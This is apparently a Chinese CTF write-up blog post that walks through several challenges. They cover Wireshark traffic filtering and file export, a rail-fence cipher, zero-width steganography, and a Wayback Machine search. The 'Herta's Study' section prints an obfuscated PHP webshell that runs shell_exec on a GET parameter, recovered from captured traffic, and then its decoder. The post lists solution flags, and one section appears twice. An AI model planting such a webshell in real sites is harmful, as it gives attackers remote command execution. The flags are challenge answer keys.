wireshark_checkin

这么多数据包,先快速找到主要部分。

快速找主要部分

标绿色的是http协议相关的,鼠标左键点击 GET /reverse.c 这个条目,看 Wireshark 界面左下角,写着一个 Port: 7070,这个是 HTTP 服务器的开放端口。

找到 HTTP 服务器的端口

接下来点击最上面的搜索框,输入 tcp.port == 7070,这样就可以快速过滤出所有有关这个端口的 TCP 报文

过滤报文

TIP

HTTP 协议是建立在 TCP 协议之上的,这里的 tcp.port == 7070 是过滤出所有有关这个端口的 TCP 报文,而 HTTP 在这个端口之上,因此也相当于过滤出了所有有关这个端口的 HTTP 报文。

这样变得好看多了,但是还不够清晰,因为这里包含了所有有关这个端口的 TCP/HTTP 请求和响应,假如只想看其中一个 HTTP 请求的流程:看 GET /flag.txt 这个条目

找到 flag.txt

有一个 Src port: 33751,所以过滤器写 tcp.port == 33751,因为同一个 HTTP 请求和响应的客户端用的是同一个端口。这样就能只看有关 flag.txt 的这次请求和响应的所有过程。

只看 flag.txt

这就是 3 次握手和四次挥手。

关于 TCP 的 3 次握手和 4 次挥手

3 次握手CLOSECLOSE客户端服务端SYN_SENTLISTENSYN=1, seq=u请求建立连接SYN_RCVDESTABLISHEDESTABLISHEDACK=1seq=u+1, ack=v+1针对服务器端的SYN的确认应答SYN=1, ACK=1ack=u+1, seq=v针对客户端的SYN的确认应答并请求建立连接

4 次挥手ESTABLISHEDESTABLISHED客户端服务端FIN_WAIT_1FIN=1seq=u请求断开连接ACK=1seq=v, ask=u+1针对客户端的FIN的确认应答CLOSE_WAITCLOSECLOSEFIN=1,ACK=1seq=w, ask=u+1请求断开连接FIN_WAIT_2LAST_ACKACK=1seq=u+1, ack=w+1针对服务端的FIN的确认应答TIME_WAIT2MSL数据传输

但是下面这个,只有一个 FIN,怎么回事?

只有一个FIN

因为还有一个 FIN 在 HTTP/1.1 这里面,发送完响应后,就立刻第一次挥手了。

HTTP/1.1

flag 在右下角。

wireshark_secret

学会怎么从一个 HTTP 响应的流量中导出图片。

点击 secret.png 这个数据包。

左下角找到 File Data 这个字段,右键,点击导出分组字节流,然后文件保存为 PNG,就可以打开图片了。

导出图片
flag

你也玩原神吗?

题目描述如下

如果你玩原神,那么你看得懂这些提瓦特文字吗?

打开附件,发现 GIF 有白色一闪而逝

可以利用一些网站或工具分离 GIF 的帧,可以发现某一帧是特殊字符

特殊字符

联系题目描述,找到提瓦特文字对照表

左下角文字解密后是 doyouknowfence,提示是「栅栏密码」,右下角文字就是密文

用栅栏密码解密工具解出来,得到 flag

字里行间的秘密

题目描述为:

我横竖睡不着,仔细看了半夜,才从字缝里看出字来

打开附件,一个名为 flag 的 Word 文件,一个 key.txt.

Word 文件被加密,打开 key.txt,文字有明显的水印特征,放到 vim 或 VSCode 就能看出存在零宽隐写,放到在线网站默认参数,可以拿到 key it_is_k3y.

然后打开 Word 发现没有flag,但 ^ CtrlA 全选发现第二行还是有内容的,将字体改为黑色就可发现 flag.

字里行间的秘密

题目描述为:

我横竖睡不着,仔细看了半夜,才从字缝里看出字来

打开附件,一个名为 flag 的 Word 文件,一个 key.txt.

Word 文件被加密,打开 key.txt,文字有明显的水印特征,放到 vim 或 VSCode 就能看出存在零宽隐写,放到在线网站默认参数,可以拿到 key it_is_k3y.

然后打开 Word 发现没有flag,但 ^ CtrlA 全选发现第二行还是有内容的,将字体改为黑色就可发现 flag.

用溯流仪见证伏特台风

题目描述如下

漂亮国也干了。照着 2024 年 7 月 8 日央视新闻的方法来看看隐匿在图片下的东西吧。

新闻视频:https://b23.tv/BV1Ny411i7eM

新闻中提到的威胁盟报告里,隐藏在图片下,Domain 下方那个框里所有字符的 16 位小写 MD5,包裹 flag{} 即为 flag.

提示:这个视频就是 WP;运气不好的话,你也许需要使用溯流仪(网站时光机)。

PS:如果你眼力好,肉眼能从视频读出来,也是你的水平。祝你玩得开心。

第一步,打开新闻视频的链接

bilibili1
bilibili2

根据视频,我们获得以下信息:

  • 所需报告:The Rise of Dark Power…
  • 对应版本:最初 4 月 15 日版本
  • 现状:所需信息已经被篡改

我们直接搜索报告名称

google
duckduckgo

可以看到我们需要的 PDF 文件,但是视频中又提到报告内容已经被篡改

篡改

所以现版本肯定是没有我们所需的信息的

出题人之前运气好,搜到过可以直接下载的原始版本 PDF,直接就可以开做。

但运气不好怎么办呢?我们请出我们的网站时光机—— wayback machine.

wayback 1

输入官网链接,启动溯流仪,正好有 4 月 15 日的版本。

wayback 2
wayback 3

下载文件,剩下的内容就和视频中演示的一样了。

移开封底图片,拿到 Domain 框里的东西,然后 MD5,

当然,你要是能用肉眼直接把视频里的模糊信息读出来,出题人也认了。

domain
md5

包上 flag,得到 flag{6c3ea51b6f9d4f5e}.

Herta’s Study

本题考点:PHP 混淆,流量分析

建议配合 unknown 师傅的前两道流量题食用

第七条流量是上传的 PHP 木马

php

<?php
    $payload=$_GET['payload'];
    $payload=shell_exec($payload);
    $bbb=create_function(
        base64_decode('J'.str_rot13('T').'5z'),
        base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRp
        Kz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQo
        gICAgfQ0KfQ0KcmV0dXJuICRuczs==')
    );
    echo $bbb($payload);
?>

可以搜索一下 create_funtion() 函数,解除混淆后得到加密代码

php

$ns = base64_encode($ns);
for ($i = 0; $i < strlen($ns); $i += 1){
    if ($i % 2 == 1) {
        $ns[$i] = str_rot13($ns[$i]);
    }
}
return $ns;

就是 Base64 后把奇数位 ROT13

解码反过来就行(第38条,f.txt 里的是真 flag,另一个是假 flag)

php

<?php
$ns = 'ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==';
for ($i = 0; $i < strlen($ns); $i += 1){
    if ($i % 2 == 1) {
        $ns[$i] = str_rot13($ns[$i]);
    }
}
echo base64_decode($ns);
// flag{sH3_i4_S0_6eAut1fuL.}
?>

admin

By admin

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注